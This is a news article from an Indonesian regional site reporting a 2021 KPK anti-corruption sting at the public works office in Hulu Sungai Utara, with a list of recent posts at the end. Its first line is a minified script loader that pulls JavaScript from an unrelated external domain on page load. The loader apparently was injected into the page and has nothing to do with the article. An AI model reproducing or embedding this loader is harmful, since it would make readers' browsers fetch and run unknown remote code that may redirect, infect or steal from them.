(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

BEREDAR. Ini Nama-nama Pihak yang Tersangkut OTT KPK di HSU


KANALKALIMANTAN.COM, JAKARTA – KPK melaksanakan operasi tangkap tangan (OTT) di wilayah Kabupaten Hulu Sungai Utara (HSU), Kalsel, Rabu (15/9/2021). OTT tersebut dilakukan di kantor Dinas Pekerjaan Umum (PU) sekitar pukul 21.00 Wita.

Menurut info awal, sebagaimana dilansir Tvonenews.com, ada sejumlah orang terduga tindak pidana korupsi yang berhasil diamankan. Operasi tangkap tangan itu menjerat Plt Kepala Dinas PU atas nama Maliki, Ketua Gapensi HSU atas nama Ahok, kemudian beberapa orang yang belum terkonfirmasi masing-masing atas nama LT, MR, MO, dan FH.

Dalam ruangan tersebut mereka diduga melakukan transaksi atas kegiatan proyek. Pada lokasi yang sama turut diamankan satu buah kresek yang diduga berisi uang.

Sebelumnya, Plt Kadis PU bersama sejumlah staf, serta pihak swasta yang terkait kasus ini, telah tiba di Gedung KPK untuk langsung dilakukan pemeriksaan, Kamis (16/9/2021).

 

 

Baca juga : Plt Kadis PU HSU dan Pihak Terkait OTT Tiba di Gedung KPK, Langsung Diperiksa!

“Sekitar jam 8 malam, tim KPK berhasil mengamankan beberapa pihak dalam kegiatan tangkap tangan terkait dugaan tindak pidana korupsi di wilayah Kalimantan Selatan,” ujar Plt Juru Bicara Penindakan KPK, Ali Fikri, melalui keterangan tertulis, Kamis (16/9/2021).

Sejauh ini, Ali belum mengungkapkan identitas para pihak yang diamankan. Pun, soal kasus yang sedang diusut tersebut.

Ia menegaskan, para pihak yang terjaring OTT saat ini sudah berada di Gedung Merah Putih KPK untuk menjalani pemeriksaan lebih lanjut.

“Saat ini tim dan pihak yang diamankan dibawa ke Jakarta untuk dilakukan permintaan keterangan,” tutur Ali.

Baca juga : Polda Kalsel Sudah Ketahui Adanya Operasi Tangkap Tangan KPK di HSU

Berdasarkan ketentuan Kitab Undang-undang Hukum Acara Pidana (KUHAP), lembaga antirasuah memiliki waktu 1×24 jam guna menentukan status hukum para pihak yang tertangkap tangan.

“Perkembangannya akan kami sampaikan lebih lanjut,” tandasnya.(Kanalkalimantan.com/kk)

Reporter : kk
Editor: cell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

11 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

14 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

14 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

16 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

18 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

19 jam ago

This website uses cookies.